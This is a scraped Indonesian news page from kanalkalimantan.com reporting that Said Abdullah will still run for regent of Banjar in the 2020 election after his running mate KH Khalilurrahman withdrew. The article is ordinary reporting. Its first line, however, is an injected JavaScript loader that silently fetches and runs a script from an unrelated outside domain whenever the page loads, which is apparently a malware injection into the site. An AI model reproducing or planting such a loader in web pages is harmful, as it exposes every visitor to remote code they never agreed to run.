(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pernyataan mundur bakal calon bupati Banjar KH Khalilurrahman dari kontesasi Pilkada Banjar 2020 begitu mengejutkan. Terutama bagi calon pasangan yakni H Said Abudllah.
Begitu ditinggal, Said Abdullah rupanya sudah mempersiapkan diri dengan keputusan yang diambil Guru Khalil –biasa bupati Banjar disapa-. Dirinya mengaku akan tetap maju pada Pilkada Kabupaten Banjar, hanya saja bukan sebagai calon wakil bupati, melainkan calon bupati.
“Sebenarnya informasinya mundur Guru Khalil saya dapatkan dari Ketua Partai Gerindra. Tidak pernah ada pembicaraan secara langsung ke saya. Tapi, meskipun Guru Khalil mundur, saya alan tetap maju calon bupati Banjar,” kata Sekda Kota Banjarbaru ini, Selasa (23/6/2020) siang.
Said Abdullah mengatakan sangat menghormati keputusan yang diambil Guru Khalil dari suksesi kepemimpinan di Serambi Makkah, dengan alasan kesehatan dan keputusan keluarga. Apalagi jadwal pelaksaaan Pilkada tetap digelar meski di tengah kondisi pandemi Covid-19.
“Saya memaklumi alasan beliau. Untuk pemilihan pasangan saya nantinya, saya serahkan kepada Partai Gerindra. Baik itu ulama, birokrat, atau politisi tidak masalah,” lanjutnya.
Birokrat tertinggi di kota Banjarbaru ini begitu percaya diri tetap maju meski ditinggal sendirian. Mengingat, Said Abdullah sedari awal telah mengikuti seluruh tahapan penjaringan dan berhasil mengantongi surat rekomendasi dukungan dari Partai Gerindra dan PKB.
Jika diakumulasikan hitungan kursi di DPRD Banjar yang merupakan syarat pencalonan melalui jalur parpol, Said Abdullah telah mengantongi 13 kursi –milik Gerindra 8 kursi dan PKB 5 kursi. Tentu modal dua gerbong parpol sudah cukup membawa Said maju di panggung kontesasi Pilkada Kabupaten Banjar.
“Saya tetap maju sebagai Calon Bupati. Saya sudah fit dan proper test di DPP Gerindra dan DPP PKB sebelumnya,” ungkapnya.
Baliho pasangan Barokah KH Khalilurrahman dan H Said Abdullah masih terpasang di jalan A Yani Km 38, Sungai Paring, Martapura, Selasa (23/6/2020). foto: dhani
Tawaran Berpasangan dengan Saidi Mansyur?
Said mengakui dirinya sempat melakukan pembicaraan politik dengan Wakil Bupati Banjar saat ini H Saidi Mansyur. Seperti yang diketahui, H Saidi Mansyur memutuskan tak lagi maju bersama KH Khalillurrahman, karena memilih mencalon sebagai bakal calon bupati.
Walhasil pembicaraan Said dan Saidi menemui jalan buntu, lantaran keduanya sama-sama berkeinginan menduduki kursi bupati Banjar.
“Saidi mau nomor satu dan saya mau nomor satu, itu masalahnya. Saya setuju dengan siapapun pasangan saya, tapi saya minta nomor satu,” tegasnya.
Said Abdullah memberikan alasan, kenapa dirinya menginginkan duduk di kursi Bupati. Alaannya karena ingin membuat kebijakan untuk mensejahterakan masyarakat Kabupaten Banjar.
“Karena nomor satu bisa membuat, menjalankan, merubah kebijakan dan keadaan Kabupaten Banjar. Baik fisik atau non fisik. Saya ingin masyarakat hidup sejahtera meninggal masuk surga, itu saja,” tutupnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
This website uses cookies.